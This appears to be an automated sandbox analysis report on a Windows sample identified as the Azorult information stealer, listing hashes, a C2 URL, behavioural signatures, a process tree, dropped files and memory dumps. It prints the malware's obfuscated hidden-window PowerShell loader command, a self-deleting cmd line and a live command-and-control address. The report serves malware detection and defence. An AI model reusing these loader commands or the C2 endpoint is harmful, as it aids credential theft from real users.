Analysis

  • max time kernel
    107s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-01-2025 14:20

General

  • Target

    3.exe

  • Size

    1.0MB

  • MD5

    b12fcafcafe31d82b9577e460eb964f8

  • SHA1

    58fbad4f11e59247da39a217e2c5dce1673e3f9a

  • SHA256

    c3f967c4659e6e10c8f8ab14d7900f3917ff98111d72e65954ff1c84c853fa30

  • SHA512

    d3def66c6ea0501733b2c5bed2a3e3e4342a5bafe44fd3960ea533dd746e1e70e05966e89069270ad04f86f887032501da85d67efb9600dc44f9d6ef3ef673a4

  • SSDEEP

    24576:y1O73OLeshQvkIvlD6qhMTkHppllemxT18b7Ifzfz:SzCsvOQAHXD/xT18b6Tz

Malware Config

Extracted

Family

azorult

C2

http://dx4n.icu/GH341/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Azorult family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 5 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3.exe
    "C:\Users\Admin\AppData\Local\Temp\3.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3924
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Overpublicity=gc -raw 'C:\Users\Admin\AppData\Local\Temp\hjlpeklasse\bekvemt\Minimumshjdens.Leg';$Antisex=$Overpublicity.SubString(10135,3);.$Antisex($Overpublicity) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:700
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Loads dropped DLL
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:4932
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "msiexec.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4424
          • C:\Windows\SysWOW64\timeout.exe
            C:\Windows\system32\timeout.exe 3
            5⤵
            • System Location Discovery: System Language Discovery
            • Delays execution with timeout.exe
            PID:1900

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\EC63A6C1\mozglue.dll

    Filesize

    135KB

    MD5

    9e682f1eb98a9d41468fc3e50f907635

    SHA1

    85e0ceca36f657ddf6547aa0744f0855a27527ee

    SHA256

    830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d

    SHA512

    230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed

  • C:\Users\Admin\AppData\Local\Temp\EC63A6C1\msvcp140.dll

    Filesize

    429KB

    MD5

    109f0f02fd37c84bfc7508d4227d7ed5

    SHA1

    ef7420141bb15ac334d3964082361a460bfdb975

    SHA256

    334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

    SHA512

    46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

  • C:\Users\Admin\AppData\Local\Temp\EC63A6C1\nss3.dll

    Filesize

    1.2MB

    MD5

    556ea09421a0f74d31c4c0a89a70dc23

    SHA1

    f739ba9b548ee64b13eb434a3130406d23f836e3

    SHA256

    f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb

    SHA512

    2481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2

  • C:\Users\Admin\AppData\Local\Temp\EC63A6C1\vcruntime140.dll

    Filesize

    81KB

    MD5

    7587bf9cb4147022cd5681b015183046

    SHA1

    f2106306a8f6f0da5afb7fc765cfa0757ad5a628

    SHA256

    c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

    SHA512

    0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1hrnr4h.nkz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\hjlpeklasse\bekvemt\Brystende.hvi

    Filesize

    316KB

    MD5

    002c0a555416ba156ac9e4041f656807

    SHA1

    d84cea43846da482c6ec57bba17c6f4845067bf9

    SHA256

    dce97de5913dbf40aaf4a4c3b749d6ada19bc5b42ea0d9cb0c526dd3c8fc6097

    SHA512

    e80a7eb01ab6479417a1100417319ccc118fa6c71acf5b5f6c0e0bfe92c75ba64f758a30303a5f60027c2a7c0e38315b3b6f24bf2d43ff8d31180268baebdda1

  • C:\Users\Admin\AppData\Local\Temp\hjlpeklasse\bekvemt\Minimumshjdens.Leg

    Filesize

    73KB

    MD5

    966bca9e1216cd72bcae7864c75a0b36

    SHA1

    0a9d8185b63faf52a020bfa934573df46da4ebc7

    SHA256

    02282a6123ba973fbd7393fb8057dedb44378d1e3e95201e6875da2251b7a463

    SHA512

    698601029944715faed8b1a376c25ccbbf277e5d5a77145e07c0dfed8257f4e3cba27489bef4e98c31531647080acf9b5e9c3cb5517308f7d95b80e81c945ab0

  • C:\Users\Admin\AppData\Local\Temp\nsoB509.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    14f5984b926208de2aafb55dd9971d4a

    SHA1

    e5afe0b80568135d3e259c73f93947d758a7b980

    SHA256

    030bcfa82e3bb424835a5fa53a3ff17ab08557d3bbeea4815313036fc4bdafe1

    SHA512

    e9ec97dd57ead871789d49ed38d9fde5f31d3cb2547810cae49a736e06b9f9b28cf8efea825eb83c3e07d880ee798abfb9069c6957416d5973c83e4531814e27

  • memory/700-54-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-57-0x0000000007110000-0x0000000007124000-memory.dmp

    Filesize

    80KB

  • memory/700-17-0x0000000005380000-0x00000000053A2000-memory.dmp

    Filesize

    136KB

  • memory/700-18-0x0000000005420000-0x0000000005486000-memory.dmp

    Filesize

    408KB

  • memory/700-19-0x0000000005500000-0x0000000005566000-memory.dmp

    Filesize

    408KB

  • memory/700-29-0x0000000005570000-0x00000000058C4000-memory.dmp

    Filesize

    3.3MB

  • memory/700-30-0x0000000005B10000-0x0000000005B2E000-memory.dmp

    Filesize

    120KB

  • memory/700-31-0x0000000005B50000-0x0000000005B9C000-memory.dmp

    Filesize

    304KB

  • memory/700-32-0x0000000006090000-0x0000000006126000-memory.dmp

    Filesize

    600KB

  • memory/700-33-0x0000000006050000-0x000000000606A000-memory.dmp

    Filesize

    104KB

  • memory/700-34-0x0000000006B10000-0x0000000006B32000-memory.dmp

    Filesize

    136KB

  • memory/700-35-0x0000000007170000-0x0000000007714000-memory.dmp

    Filesize

    5.6MB

  • memory/700-37-0x0000000007DA0000-0x000000000841A000-memory.dmp

    Filesize

    6.5MB

  • memory/700-39-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-38-0x0000000006F20000-0x0000000006F52000-memory.dmp

    Filesize

    200KB

  • memory/700-40-0x000000006FD00000-0x000000006FD4C000-memory.dmp

    Filesize

    304KB

  • memory/700-50-0x0000000006F60000-0x0000000006F7E000-memory.dmp

    Filesize

    120KB

  • memory/700-51-0x0000000006F90000-0x0000000007033000-memory.dmp

    Filesize

    652KB

  • memory/700-52-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-53-0x0000000007090000-0x000000000709A000-memory.dmp

    Filesize

    40KB

  • memory/700-15-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-55-0x00000000070B0000-0x00000000070C1000-memory.dmp

    Filesize

    68KB

  • memory/700-56-0x0000000007100000-0x000000000710E000-memory.dmp

    Filesize

    56KB

  • memory/700-16-0x0000000004C10000-0x0000000005238000-memory.dmp

    Filesize

    6.2MB

  • memory/700-58-0x0000000007150000-0x000000000716A000-memory.dmp

    Filesize

    104KB

  • memory/700-59-0x0000000007140000-0x0000000007148000-memory.dmp

    Filesize

    32KB

  • memory/700-60-0x00000000078C0000-0x00000000078EA000-memory.dmp

    Filesize

    168KB

  • memory/700-61-0x00000000078F0000-0x0000000007914000-memory.dmp

    Filesize

    144KB

  • memory/700-62-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-64-0x000000007388E000-0x000000007388F000-memory.dmp

    Filesize

    4KB

  • memory/700-65-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-66-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-68-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-69-0x0000000008420000-0x000000000C9CF000-memory.dmp

    Filesize

    69.7MB

  • memory/700-70-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-71-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-72-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-73-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-75-0x0000000073880000-0x0000000074030000-memory.dmp

    Filesize

    7.7MB

  • memory/700-13-0x000000007388E000-0x000000007388F000-memory.dmp

    Filesize

    4KB

  • memory/700-14-0x00000000021E0000-0x0000000002216000-memory.dmp

    Filesize

    216KB

  • memory/4932-83-0x0000000001200000-0x0000000002454000-memory.dmp

    Filesize

    18.3MB

  • memory/4932-76-0x0000000001200000-0x0000000002454000-memory.dmp

    Filesize

    18.3MB

  • memory/4932-84-0x0000000000E70000-0x0000000000E97000-memory.dmp

    Filesize

    156KB

  • memory/4932-85-0x0000000001200000-0x0000000002454000-memory.dmp

    Filesize

    18.3MB

  • memory/4932-149-0x0000000001200000-0x0000000002454000-memory.dmp

    Filesize

    18.3MB

  • memory/4932-153-0x0000000001200000-0x0000000002454000-memory.dmp

    Filesize

    18.3MB

  • memory/4932-203-0x0000000001200000-0x0000000002454000-memory.dmp

    Filesize

    18.3MB